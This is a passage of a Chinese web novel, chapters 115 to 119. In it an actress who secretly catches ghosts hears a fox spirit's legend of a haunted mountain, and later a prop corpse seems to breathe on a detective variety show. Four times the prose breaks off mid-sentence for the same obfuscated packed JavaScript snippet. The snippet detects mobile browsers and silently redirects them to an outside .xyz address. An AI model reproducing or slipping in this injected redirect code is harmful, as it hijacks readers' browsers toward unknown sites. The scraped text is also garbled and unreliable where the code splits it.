台阶很高很高,两人不知爬了多久,才到达网红观景台。 观景台视野很好,悼青山周围的七个镇尽收眼底,从高处望去,房屋小小一个,跟蚂蚁似的。 左轻白拉了拉路回的手,指着前方,激动道:“看,这是你救下的地方。” “我?”路回微愣。 “是啊。悼青山一旦爆炸,威力跟八级地震差不多,那是一场大灾难,它周边的七个镇以及七个镇里的居民将无一幸免。阻止悼青山爆炸,你是出了力的。”左轻白说。 路回把双手搭在观景台的栏杆上,忽然心情大好。 “我知道你为什么这么喜欢捉鬼师这份工作了。”路回笑着说,“因为真的会有一种自豪感。” 两人肩并肩站在观景台上眺望风景,安静地呆了一会后,路回用好奇的语气对左轻白说:“你说,这座悼青山为什么这么神奇?怨气太多了它会不堪压力爆炸,它还有种子,会繁衍后代,像个活的一样。” “谁知道呢。”左轻白道,“只能解释为万物有灵。 “原来也有捉鬼师小姐解答不了的问题?那我再问一个,第一对进入悼青山殉情的情侣,会是什么人呢?” “这我哪知道?” 就在左轻白被路回的瞎问难住时,一个苍老的声音从两人身后传来:“这个我知道。” 两人转过头,看见一个满头白发、佝偻着腰背的小老头站在他们身后。 小老头横眉竖目,看起来脾气不是太好。 115. 匪夷所思的一幕 小老头缓缓说道:“很久很久以前,有两个孤儿,一男一女,相互扶持着长大,长大后,男孩和女孩心意相通,两人私定了终身,虽然生活清贫艰苦,但有心爱的人在身边,心是快乐的。一次偶然的机会,两人来到这里定居,那时候还没有悼青山,那时候的悼青山只是随意落在地上的一颗种子。” 左轻白问:“没有悼青山,那也没有悼青山里的独眼人咯?” 小老头点点头,“是的。” 左轻白道:“那年代可太久远了。” 小老头继续往下说:“两人在种子附近的地方建了房屋,他们很相爱,过得很甜蜜。小情侣本来过得好好的,然而地主老爷的小儿子看上了美丽的姑娘,把她抢回府上,强迫她结婚。她的情郎一路追到府上,被地主老爷拦住,地主老爷很客气,请他参观了一圈自己的府邸。府邸非常奢华,情郎看呆了,地主老爷对他说,那姑娘如果跟他在一起,每天只能过饭都吃不饱的生活,姑娘长得那么美,怎么能被他喂得面黄肌瘦的呢?姑娘只有留下来,才能过上优渥的生活,如果他爱姑娘,就不应该让姑娘跟着他一起受苦。” “劝完男的之后,地主老爷又去劝女的。姑娘正宁死不屈,地主老爷就对她说,现在有个机会,可以举荐一人去官府当差,这个差事前途无量,如果姑娘安安心心留在府上成亲,他就把这个机会给姑娘的情郎。地主老爷对姑娘说,她那位情郎他见过,仪表堂堂,非常优秀,这么好的一个男儿怎么能天天只做面朝黄土背朝天的农活呢,没有出路的!” “再后来,情郎想让姑娘过上更好的生活,在地主老爷的劝说下给姑娘写了一封诀别信,写完之后他就在家自尽了。” 小老头说到这里,左轻白“啊”的一声出声,“怎么这么惨啊?” 一旁的路回说:“他们也没进悼青山啊。” 小老头瞥了两人两眼,愤怒地一人给个脑瓜崩,骂骂咧咧道:“我还没说完!” 小老头继续往下说:“男人自杀的地方在悼青山种子附近,他的血从屋子里流出来,流入泥土,滋养种子。于是,男人的血肉变成悼青山种子的养分,悼青山种子得以生根发芽,破土而出,长成参天大树。另一边,姑娘想让情郎有更好的前途,同意成亲。成亲后不久姑娘打听到去官府当差的人已经到达当差地,但那个人不是她的情郎,而是地主老爷安排的另一个人。这时候姑娘才知道情郎已经去世。于是,在一个雨夜,姑娘逃出地主家的府邸,逃回她与她情郎的家,她本想找到她情郎的遗体,但遗体不见了,早就被大树当成养分吸食干净了。” “姑娘没找到情郎的遗体,却发现屋外多出来一棵绿莹莹的怪树。怪树居然张口说话了,它对姑娘说:‘你现在过得好吗?是不是每天都能吃饱,穿的衣服都没有补丁?如果现在过得好的话,你就忘了我,好好过吧!’姑娘认为怪树就是她情郎所化,在树下’哇’的一声放声大哭,她哭了一整个晚上,眼泪滋养怪树,怪树变得更大,并在周围生出跟它一样的小树。天亮后,姑娘在树下自尽了。姑娘的血肉成为了周围怪树的养分,怪树们疯狂生长,越来越多,最后,树成林,林成山,悼青山原始森林就这么形成了。” 小老头说完,左轻白和路回面面相觑。左轻白叹了口气,说:“难怪总觉得悼青山人里人气的。” 她刚说完,小老头就又给了她一个脑瓜崩,小老头的手法极快,就连左轻白这种练家子都躲不过。 小老头气得胡子都翘起来了,“我还没说完!你又插.我话!” 左轻白不跟老人家计较,无奈道:“您还没说完啊?这个故事怎么这么长?好好好,您继续。” 小老头往下说:“就是因为这个故事在周围传开了,两人的爱情感动了很多人,悼青山也因此跟爱情扯上了关系,那些苦命鸳鸯才会选择来悼青山殉情,悼青山成为了远近闻名的殉情山。进入悼青山殉情的第一对情侣是对亲兄妹,牵着他们的孩子。” “什么玩意?”左轻白三观受到了剧烈的撞击,“亲兄妹怎么能生孩子?” “就是不能,所以才殉情。”小老头白了左轻白一眼,“有对亲兄妹相爱了,还生下了一对龙凤胎,这事太过违背人伦,他们被世人所不容,受人白眼,被人辱骂殴打,绝望之下,他们选择进入悼青山自我了结。” “然后呢?”路回问。 “大的死了,一对小婴儿反而活下来了。” “怎么可能?谁喂他们?”左轻白道。 “山里的动物。”小老头说。 左 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14506786|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻白和路回再次面面相觑。 “像不像童话里的情节?”左轻白对路回说。 路回一点头,“像。但是童话情节发生在现实中,就显得好恐怖啊。” 小老头道:“那对龙凤胎婴儿又生了孩子,这就是独眼人的祖先。” “啊?”左轻白的嘴能塞下一个鸡蛋,“龙凤胎怎么能生孩子?近亲生的孩子畸形概率很大的,再加上他们父母也是近亲,畸形的概率就更大了!” 这是常识,所有人都懂的常识。 小老头瞥了左轻白一眼,暴躁地说:“你以为独眼人为什么只有一只眼?笨!” “因为近亲生育导致畸形,再加上他们一代一代层层筛选?”路回道。 小老头眼睛微眯,点了点头。 路回又说道:“两个孩子从小被动物养大,没有接触过外面的文明,所以一切从头开始,他们独立创造出了一套属于自己的文明,包括文字、数学、天文,渐渐发展成了后面的独眼人文明。” 小老头眼睛全眯上了,再次点了点头。 左轻白和路回又一次面面相觑,不知该如何评价。 突然,左轻白想到一件事,她问小老头:“这些故事,连研究独眼人文明这么久的陈青都不知道,你怎么这么清楚?” 小老头“蹭”的一下睁眼,怒道:“要你管?” 左轻白下意识地往前一步,用胳膊把路回护在身后,警觉地说:“你不是人吧?或者说,不是普通人。” 小老头不说话,左轻白又道:“你身上没有鬼气,应该不是鬼。你到底是什么东西?” 小老头邪邪地一笑,突然他原地起跳,跳得老高,他跳出了观景台的栏杆,像个跳水运动员一样头朝下落了下去。下面起码有几百米,正常人这么跳下去不得粉身碎骨? 左轻白和路回趴在栏杆上往下看,他们眼睁睁地看着那个小老头在下落过程中变成了一只狐狸,狐狸“嗖”的一下在半空中消失了。 左轻白脱口而出道:“狐狸神!” 这时,一只巨大的鹦鹉从左轻白和路回头上飞过,跟着狐狸神俯冲了下去,是狐狸神身边的那只鹦鹉! 左轻白和路回双手紧紧相握,瞪大了眼看着眼前这匪夷所思的一幕。 116. 随时都可以收走 夜晚,周夙家。 金绮月不在,周夙一个人在床上睡觉。 周夙睡着了,他在梦里。 梦中,周夙回到了金绮月把他从陈青家带回来的那天。 金绮月把他带回公寓,摔在客厅冰冷的地板上,周夙身上一痛,还没反应过来,金绮月就已经凑近了。 周夙背部着地躺在地上,金绮月坐在周夙身上,金绮月就着这种亲昵的姿势,捏着周夙的下巴,吻上了周夙的唇。 周夙眼睛瞪大,心脏砰砰直跳。 他贪恋金绮月的靠近,可金绮月注定不会靠近他太久。 金绮月给周夙渡了一口气,然后周夙身上的伤就迅速愈合了,愈合之后,金绮月放开周夙,毫不留恋地站了起来。 周夙也站了起来,看着金绮月。 “谢谢。”周夙说。 金绮月转头看向周夙,突然她换了副笑眯眯的表情,哄道:“我对你已经非常好了,我从不在乎别人的性命,而你除外,所以你是特别的,你要感恩,知道吗?” 周夙点头。 金绮月走到周夙跟前,她明明比周夙矮,却表现出一种上位者的姿态。金绮月问周夙:“还气我利用你吗?” 周夙摇头,说:“我哪敢生气?” 在金绮月面前周夙是不敢生气的,无论金绮月做出多么离谱的事,周夙都不生气。不生气的次数多了,人就不知道该如何生气了。 金绮月满意地点点头。 金绮月伸了个懒腰,说:“那你好好休息,我先走了,那棵怪树能助我修炼,我得找个安静的地方好好修炼。” 说着,金绮月往外走去。 “绮月。”周夙突然在后面叫住了金绮月,周夙问她:“我真的是特别的吗?” 金绮月转头看他,歪着脑袋,没说话。 “是特别的玩具,还是特别的人?”周夙问。 金绮月捂嘴娇笑道:“嘻嘻,你这问题问得好没意义,在我眼里人和玩具是一样的。” 周夙又问:“那你在世上活了这么久,有没有一个对你来说比较特别的……角色呢?” 周夙期待着,期待能从金绮月口中听到“舒瑾安”的名字,也就是他自己的名字,但金绮月只是摇了摇头,冷淡地说:“没有。” 金绮月走了。 到这为止,都是现实发生过的事,但后面的场景就都是周夙的想象了。 幻想交织的梦里,金绮月走后不久,突然给周夙回了个电话。 电话里,金绮月的语气出奇的温柔。 金绮月说:“你刚才问我的问题,我想了许久,在这世上活了这么久,或许……有一个人对我来说是特别的。” “是谁?” “就是你呀。” “你又骗我。” “我不骗你。你要是不信,就来湖滨路,我亲口告诉你,我在湖边等你。”金绮月笑道。 周夙跑了出去。湖滨路不远,他一路狂奔,跑到湖边,果然看到了金绮月的背影。 隔着大老远,金绮月就察觉到周夙来了,金绮月转头,笑吟吟地看着周夙。 周夙走到了她身边。 微风吹起金绮月的碎发,金绮月望着远方,仿佛有些哀伤。金绮月幽幽地说:“其实我也不想再过这种生活。我不喜欢害人,我不想再害人了,我累了。如果有个人能陪在我身边,不离不弃,我可以放弃做鬼,做回一个正常人,安稳过一生。” 金绮月转头看周夙,一双眼睛亮晶晶的,她说:“我掌握了一种秘法,能让鬼变回人,那棵怪树就是辅助。我愿意变回人,你愿意一直陪着我吗?” “愿意!”周夙毫不犹豫地说,他目光坚定,一字一句道:“我愿意。” 周夙看着金绮月,不知怎的有些心疼,周夙坚定地说:“别说陪,只要能让你变回人,哪怕让我死,我也不会说一个‘不’字。” 金绮月“格格”笑了起来,笑得很甜,她凑近周夙,与周夙离得很近,几乎鼻尖顶着鼻尖,两人呼吸缠绕,金绮月暧昧地说:“傻子,你死了,谁陪我?” 周夙只觉得魂都要被勾走,心脏重重地一跳。 这一跳,周夙从梦中醒了过来。 一缕阳光从窗帘缝隙射进房间,天亮了。 周夙从床上坐起来,捏了捏自己的眉心。 他呆坐了一会,像在打坐。 刚才的梦确实是美梦,但冷静下来后,周夙知道那根本不可能发生。且不说世上根本没有从鬼变人之法,就算有,金绮月是个有野心的女鬼,怎么可能主动做回普通人? 但即使知道不可能,周夙也依然控制不住自己的幻想。这种幻想跟毒药似的,对于周夙来说就是一种自我攻略,都不用金绮月做什么,他自己就已经深陷情网了。 而这一切周夙不是不知道,他什么都明白,他理智是清醒的,只是本能战胜了他的理智,他不是执迷不悟,他是清醒地沉沦。 周夙把房间窗帘拉开,阳光照了进来,有点刺眼。 —————————————— 左轻白在悼青山剧组的工作接近尾声,她跟剧组成员相处得很开心,尤其跟动作组的人。 这段时间恰逢左轻白一部被压了一段时间的库存剧上映,剧中有大量动作戏,左轻白大显身手,于是,左轻白“当代刀马旦”的名声又在热搜上火了一把。也在这时,左轻白在悼青山剧组跟几个动作组成员切磋的视频片段流了出去,他们都是练家子,哪怕是切磋,用的也是真功夫,网友们惊呼:“原来不是拍摄效果,是真正的打女!” 上世纪的动作片中经常出现身怀真功夫的打女,不过这类型的片子没落后,出色的打星、打女就渐渐变少了,左轻白的出现弥补了这一空缺。 但在信息时代,弥补什么样的空缺不是重点,现在的重点是赶紧抓住这个风口炒作一波,公司团队也确实给力,他们砸钱投宣传,短视频、推文买起来,于是铺天盖地的关于左轻白的夸赞布满互联网。 左轻白问路回,这是不是搞得有点太夸张了?还是低调点好吧?路回摇头,他对左轻白说,现在这个时代,酒香也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14538729|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕巷子深,不怕宣传夸张,怕的是不懂宣传,再说,咱们又不是没真东西搞假宣传,咱们有真东西! 不过,即使宣传很给力,这段时间娱乐圈风头最盛的依然不是左轻白,而是刚刚拿了影后的金绮月。 金绮月名利双收,在圈内的地位跟坐火箭似的狂飙上去,曾经因金绮月不是科班出身而看轻金绮月的人纷纷被打脸,这跟原书剧情一样。 作为一个神通鬼,金绮月具备碾压所有人的实力,但她不喜欢一步登顶,她似乎格外享受一步一步登上金字塔顶端的过程,就像在游戏里升级打怪一样,一关一关玩,她把这个世界当游戏。 悼青山剧组的工作结束了之后,左轻白休息了一段时间,跟路回疯玩。休息完之后,公司团队给她接了个综艺,侦探类综艺,名字叫《超级侦探秀》。 送左轻白去录制现场是路回去送的,两人在保姆车里腻腻歪歪,左轻白下了保姆车,路回还不舍,也跟着她下去。 “回去吧。”左轻白笑道。 “你再亲我一口。”路回说。 左轻白搂上路回的脖子,“吧唧”一下狠狠地亲了一口。 路回这才满意地露出微笑。 “等我一下。”路回说。 路回去后备箱,抱来一大束花送给左轻白,说道:“录制顺利。” “谢谢!”左轻白大大方方接过。 两人又腻歪了一会才分开。节目组的工作人员来接左轻白,左轻白在工作人员的带领下进入录制大厅,录制大厅南面是面大大的落地窗,从这往下看,能看见刚才左轻白下车的位置。 一个漂亮的女人站在窗前,双手抱臂,冷冷地看着窗外,她如果一直都站在这里看的话,刚才左轻白跟路回腻歪的全过程她都看到了。 漂亮女人转过头,看了新来的左轻白一眼。 女人叫白柳,是一名曾经红过,现在过气了的女演员,三十四岁的年纪,画着精致的妆容,气质干练,她在很多都市剧中饰演过都市女精英。 几个月前狗仔报道白柳失恋,跟相恋五年的富商分手了,在酒吧买醉,新闻传出后,白柳在社交媒体作出回应,说自己已经恢复单身。白柳现在还在失恋期,估计心情不是太好,尽管上着精致的妆,也难掩疲色。 左轻白主动跟她打招呼:“白柳姐!” 左轻白之前跟白柳见过,两人有交集,但交情不深。白柳年纪比左轻白大,入行也比左轻白早,左轻白叫她一声“姐”没什么问题。 白柳看着左轻白,眼神复杂。 左轻白知道她状态不好,便走到她身边,问:“怎么了,白柳姐?” “那是你男朋友?”白柳问,“我好像记得叫路回,路家少爷,对吧?” 左轻白笑道:“白柳姐记性真好。” 白柳面无表情,说道:“你们感情很好?” “是啊。” “他对你很好?” “是啊。” 白柳冷笑一声,“他现在对你的所有好,以后要是想收走,随时都可以收走。” 117. 这玩意不像假人 失恋的人随时随地都能陷入哀伤。白柳长长的睫毛垂了下去,她神色忧郁,在左轻白面前陷入了回忆。 白柳呆呆地说:“我跟我前男友,最开始是他疯狂地追求我,他对我很好很好,无微不至的好,让我感受到被捧在手心里的感觉,我第一次有那样的体验,我以为我遇到了对的人,就跟他在一起了。” 左轻白安静地听着,她知道白柳现在需要倾诉。 白柳继续说:“确定关系的第一年是非常快乐的,他依然跟追我的时候一样捧着我,事事以我为先,我想要什么就给我什么,我想见他他随时都能到,他给了我最好的恋爱体验和情绪价值,但只保持了一年,从第二年开始,他对我的态度急转直下,他倒也没有做什么对不起我的事,只是变得特别冷淡,经常躲着我,甚至人都找不到,我给他打十个电话,他未必会回一个,我知道他不是忙,他是不想回。” 白柳看向左轻白,说:“你体会过从云端跌落的感觉吗?那种落差,太折磨人了。他要是从未给过我无微不至的好,我从没体验过被人捧在手心里的爱,如果没有这种强烈的落差感,他把爱收走的时候,我可能还容易接受一些,就是因为无法接受,我才一直追着他,恋爱五年,只有第一年是他追着我,剩下四年都是我追着他,越追越痛苦。” 左轻白静静地听着。 白柳质问左轻白:“现在你男朋友对你好,但你能保证有一天他不会把这份好收走吗?到时候你就会体验到可怕的落差感,为了消除落差感,你会很想回到以前,但是回不去了,你只会越来越痛苦,在痛苦中消耗自己。” 白柳目光灼灼,把左轻白刺了一下。 左轻白被白柳的情绪感染,认真地想了想,想好之后,她说:“白柳姐,我想了想你问我的问题,我觉得,路回是个独立的个体,我无法左右他的思想和行为,如果哪天他想把对我的好收走,我没有什么办法改变他的决定,也没有办法回到从前。” 白柳露出满意的表情。白柳刚刚结束了一场失败的感情,所以她想告诉所有人感情的伤人之处,并让对方信服,左轻白相信她,她很欣慰。 然而左轻白继续说道:“但是,我为什么要改变他?又为什么要跟他回到从前?我的世界又不止他一个,我很忙的,我有很多工作要做。” 左轻白道:“虽然我承认爱情很特别,它让你有牵挂,让你焦虑,让你紧张,本来淡定的一个人都能变得不淡定,但是,人的生命绝不仅仅只有爱情。” 左轻白看着白柳的眼睛说:“白柳姐,你的生命也应该很丰富。” 左轻白目光坦荡,她说:“如果有一天我男朋友要走,那就走好了,不必追,那没意义,世界又不会塌,还有更多有意义的事情需要我去做,比如我的工作。” 白柳愣了一秒,好像悟到了什么。她喃喃道:“世界又不会塌……” 白柳笑了笑,她问左轻白:“你说的工作,是演员的工作吗?可是,观众也会抛弃你啊……我以前也红过,但现在想接主角,都很难了。” 白柳红的时候主角戏一部接一部,粉丝非常活跃,去哪都有人接机,现在接机的人没了,主角也很难接到,在这方面,白柳也体会到了落差感。 落差感最伤人,从云端跌落到地上,可不得摔得疼疼的? 左轻白笑道:“不是,我还有别的工作,很重要的工作。” “是什么?” “保密哦,白柳姐不会生气吧?” “当然不会。” 左轻白抓起白柳的手,说:“白柳姐,我知道你最近因为感情的事心情不好,但是,感情不是我们的全部课题,它只是其中的一部分。而且你看,世界都没塌,那就一切都还好!” 白柳微微一笑,“你真乐观。” 左轻白摆摆手,哈哈笑道:“生生死死的事见多了,会看得开一点。” 白柳奇怪道:“生生死死?” 左轻白赶紧道:“我是说,我喜欢看跟生生死死有关的电影,比如丧葬题材、入殓师题材这种,这些电影里经常说,除了生死,都是小事。” “那回头介绍一部给我。” “好啊。” 两人聊了一会,录制开始了。 《超级侦探秀》的游戏规则是这样的,每期节目有每期节目的故事背景,也就是剧本,每期节目都会安排一个“被害人”,杀死“被害人”的“真凶”就藏在所有嘉宾当中。游戏开始后,6名嘉宾中有一个人扮演大侦探,其他嘉宾各有各的身份,这名大侦探会带领其他玩家进行现场搜查和推理,大家共同投票抓住“真凶”。大侦探默认不是“真凶”,“真凶”藏在剩余嘉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14565761|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宾中,“真凶”可以说谎,可以演戏,他要使用浑身解数瞒过大家,逃过抓捕。 这期《超级侦探秀》的故事背景是这样的:民国时期,繁华的大上海,纸醉金迷的百乐歌舞厅,观众们翘首以待,等待歌舞厅头牌红玫瑰小姐出场。红玫瑰迟迟不出场,惹怒了观众,观众们认为红玫瑰耍大牌,便在舞厅里闹事,其中一个叫付子聪的富家公子闹得最凶,他之前追求红玫瑰不成,对红玫瑰早就满腹怨气。舞厅另一个舞女白蔷薇在一旁说风凉话,她说红玫瑰太傲了,这样的人迟早栽跟头,白蔷薇与红玫瑰一向不和。舞厅黄经理连忙去后台叫红玫瑰,因为红玫瑰是头牌,所以她有独立的化妆间,黄经理敲了敲门,没人回应,便推门进去,却发现红玫瑰死在了化妆间。红玫瑰的尸体被发现后,一个叫青雪兰的小舞女哭得最厉害,她跟红玫瑰的关系最好。很快,歌舞厅被封锁,从歌舞厅里找到了一个不速之客,是从红玫瑰老家来到大上海的宋时祺,他跟红玫瑰是青梅竹马,因为想见红玫瑰,又没钱消费,所以只好爬窗户进来。 红玫瑰是“被害人”;大侦探是嘉宾之一,某知名男主持人李蔼;男演员付笙扮演付子聪;白柳扮演白蔷薇;男演员黄嘉艺扮演黄经理;左轻白扮演青雪兰;唱跳艺人时魏扮演宋时祺。 每个人只能拿到自己的剧本,除了“真凶”本人,其他人都不知道谁是真凶。 左轻白熟读了自己的剧本,嗯,她不是真凶。 所有人换好角色服装,进入游戏。 红玫瑰死亡现场。 红玫瑰的尸体是用人偶扮演的,那人偶做得非常逼真,尺寸也跟真人一模一样,五官啊、头发啊都做得以假乱真。人偶倒在地上,胸口插了一把刀,这把刀是本案的凶器,人偶的身上泼了假血,乍一看怪逼真的。 按照剧本,这时候左轻白扮演的小舞女“青雪兰”扑到了尸体跟前,放声大哭,左轻白开始说台词:“红玫瑰姐姐,你的命怎么这么惨啊?” 左轻白默默在心里吐槽:这是谁写的台词…… 左轻白哭着哭着看了一眼倒在地上的人偶尸体,这一看,不得了。 这真的是个假人吗?怎么能做得这么逼真?左轻白想。 左轻白观察假人的胸口,她看到胸口似乎在微微起伏,像在呼吸。这玩意不像假人,像真人。 118. 是鬼气 左轻白“啊”了一声,指着假人说:“她是活的!” 所有人面面相觑,左轻白不按剧本来。 扮演大侦探的李蔼轻轻一拍左轻白的肩膀,提醒道:“死了,她已经死了。” “她还有呼吸,你们没看到吗?叫救护车!”左轻白说。 幸好综艺里的角色扮演不需要像影视剧里的角色演绎那么严谨,一些意料之外的状况可能还会增加看点,于是李蔼笑道:“这是假的,是硅胶做的!你扒拉她衣服看看,是不是硅胶?” 一群人哈哈大笑起来,纷纷笑左轻白把假人认成真人,大家边笑边说:“节目组的道具做得太逼真了”、“是啊,都能以假乱真了”…… 左轻白则非常认真地掀开红玫瑰的衣服,去摸她的皮肤,果然,跟真人的皮肤有很大差异,确实是硅胶做的。 左轻白只好打哈哈道:“哈哈,节目组这个道具太逼真了,下次别做这么真,怪吓人的。” 左轻白依旧满腹狐疑。 下一环节,大侦探带着大家进行现场搜查,假人道具就这么被扔在地上。 左轻白悄悄又看了假人一眼,她觉得那个假人的眼珠子在动。可刚才她明明摸了假人的皮肤,是硅胶无疑,这到底是怎么回事? 搜证环节,众人在红玫瑰的单人化妆间里找到了一枚掉落的领带夹,领带夹很高级,不仅是烫金的,还是特别定制的,上面印着主人的英文名,有人认出那是富家公子付子聪的英文名。 大侦探质问付子聪:“这是你掉在这里的吗?” “是。”付子聪回答。 “你来过化妆间?” “没错,演出开始之前,我来化妆间向红玫瑰表白,没想到她再一次拒绝了我。” 这时左轻白想起自己的剧本,立即跳了出来,愤怒地指着付子聪说:“红玫瑰姐姐拒绝了你很多次,你自尊心受损,所以你就杀了她。你这个畜生!” “你就是杀人凶手?”大侦探质问。 “我没有!”付子聪否认,“她拒绝我,我是很生气,但我只是转身走了,我没有杀她!” 黄经理说:“你的嫌疑很大。” 此时所有矛头都指向付子聪,目前付子聪的嫌疑最大。 大家继续搜查。 众人在化妆间的抽屉里找到了三张照片,一张是红玫瑰与青梅竹马宋时祺的合影;一张是红玫瑰与一个陌生男人的合影,男人不是在场嘉宾中的任何一个;还有一张是红玫瑰夺得歌舞厅头牌称号时歌舞厅所有人的合照,这张合照里所有人都在笑,除了白蔷薇,白蔷薇狠狠地瞪着红玫瑰,似乎很不服气。 这三张照片出现的那一瞬间,左轻白突然一把夺过那张红玫瑰与宋时祺的合照。 是鬼气,这张合照上鬼气弥漫,有鬼接触过这张照片,在上面留下了鬼气。 照片是节目道具,都是节目组的工作人员准备的,难道工作人员里面有鬼? 左轻白挨个回想自己来到这以来接触到的所有工作人员,她接触到的人里没有鬼,难道还有她没接触到的工作人员? 也是,这种综艺节目的幕后工作人员是个很庞大的团队,团队中负责接待艺人嘉宾的只是一部分人而已,左轻白接触到的只是这些负责接待她的人,团队中还有很多人她没有接触到。 这边左轻白摩挲着红玫瑰与宋时祺的合照出神,另一边大侦探质问白柳饰演的白蔷薇:“看这张照片里你的眼神,你好像对红玫瑰很不服气?” 黄经理揭露道:“在我们这里,所有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14582163|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人都知道白蔷薇与红玫瑰不和,白蔷薇一直都觉得自己比红玫瑰强,凭什么头牌却是红玫瑰?” 宋时祺指着白蔷薇说:“你妒忌她!女人的妒忌心最可怕了,是你杀了她!” 白蔷薇性格泼辣,她“呸”了一声,说:“我杀了她?我还说是你杀了她呢!你鬼鬼祟祟地爬窗户进来,正经人谁爬窗户啊?你这种行为就非常可疑!” 这时大侦探提出了一个疑点,他举起那张红玫瑰与一个陌生男人的合照,问:“这个男人,你们谁认识?” 所有人都摇了摇头。 大侦探喃喃自语:“这个男人到底是谁……” 大家都在认真地参与游戏,只有左轻白心不在游戏上,她捏着那张沾染了鬼气的照片,心想:只要这只鬼留下了鬼气,就能顺着鬼气找到它。 众人又在化妆间里搜了好一会,找到了其他的线索,接下来到了中场休息时间,休息过后嘉宾们会去另一个场景继续搜证。 一场综艺节目,呈现给观众的总时长可能只有两个小时左右,但实际录制的时长往往是一整天,再加上前期的选题、准备工作,以及后期的剪辑、配乐,表面上两个小时的节目实际要花上一个星期之久。 嘉宾们要在录制现场呆上一整天,如果录制不顺利,时间还会往后延,加班到凌晨是常有的事。长时间的连续工作,中场休息补充能量是必不可少的。 中场休息时,别人在休息,但左轻白还在工作,此时她进入了另一个角色,那就是捉鬼师的角色。 左轻白找到一个没人的角落,取出一张符纸,口中念念有词。符纸变成一个小纸人,左轻白让小纸人闻了闻照片上的鬼气,让小纸人在附近寻找鬼气的主人。 小纸人会意,飞走了。 119. 录综艺也是工作 纸人飞走后,趁着休息时间,左轻白又一次来到了假人身边。 她真的觉得这个假人在呼吸,也看到假人的眼珠子在动,它真是个假人吗?左轻白还是不信。 左轻白上上下下把假人摸了一遍,发现它的的确确只是硅胶而已。 “真的是假人?怎么会有这么逼真的假人啊?”左轻白自言自语。 这时,节目组的工作人员走到左轻白身边,叫了声:“轻白老师。” 工作人员把一个水果盘递给左轻白,左轻白说道:“谢谢。” 工作人员问:“轻白老师还怀疑这个人偶是真的?” “它实在太逼真了。”左轻白说,“你看,它还有呼吸!眼珠子还会动!” 工作人员哈哈笑道:“轻白老师,呼吸和会动的眼珠子都是做出来的效果,它就是个假的。” 左轻白惊讶道:“能做出来这么逼真的效果?” 工作人员得意道:“当然,因为我们有一个超级厉害的道具老师,这个人偶是那位道具老师亲手做的,不是那种在市场上买的大货。” “这位道具老师叫什么名字?” “就是孔屏老师啊,他在业内很有名的。” 孔屏在业内小有名气,尽管左轻白没见过,也听说过他的名字。 工作人员走开了。左轻白看着人偶喃喃自语:“厉害了,什么手这么巧啊?” 左轻白来到休息区,在角落坐下,她环视一圈,发现白柳不见了。 “白柳姐呢?”左轻白问一旁的时魏。 “去卫生间了吧应该。”时魏说。 时魏是个又甜又酷的小鲜肉,唱跳出道,拥有大量粉丝,节目播出后他的粉丝一定会贡献相当大的收视率。 时魏跟左轻白寒暄道:“第一次玩,感觉怎么样?” “还行。”左轻白说,“本来想着就是角色扮演加破案推理,不会很难,但刚才我的表现实在一般,不太放得开。” “我们这种第一次玩的,放不开很正常,你不要有压力。”时魏安慰道,“多玩两次就有经验了,像白柳姐那样来过很多次的老嘉宾,状态就很放松。” 白柳上过很多期《超级侦探秀》了,她表现很好,观众们很喜欢她。 左轻白笑道:“什么老嘉宾?你可别在白柳姐面前这么说,不然她打死你。” 说女明星“老”是很忌讳的,时魏赶紧打了一下自己的嘴巴,用开玩笑的语气说:“我的错我的错,我自己先打嘴。” 时魏像个交际花一样去跟别人寒暄去了,左轻白一个人在座位上小憩。 突然,左轻白耳边传来“嘀——嘀——”的声音,这声音只有左轻白能听得,别人听不到。 这是提示音,提示纸人有重大发现。 左轻白淡定地从兜里掏出一副眼镜,默默地戴在眼睛上。 左轻白不近视,这副眼镜是平光的。 这眼镜不是一副普通的平光镜,它其实另有玄机,戴上它后,左轻白的眼里就能看到前去探查鬼气的纸人所看到的场景,眼镜连接着纸人的眼睛。 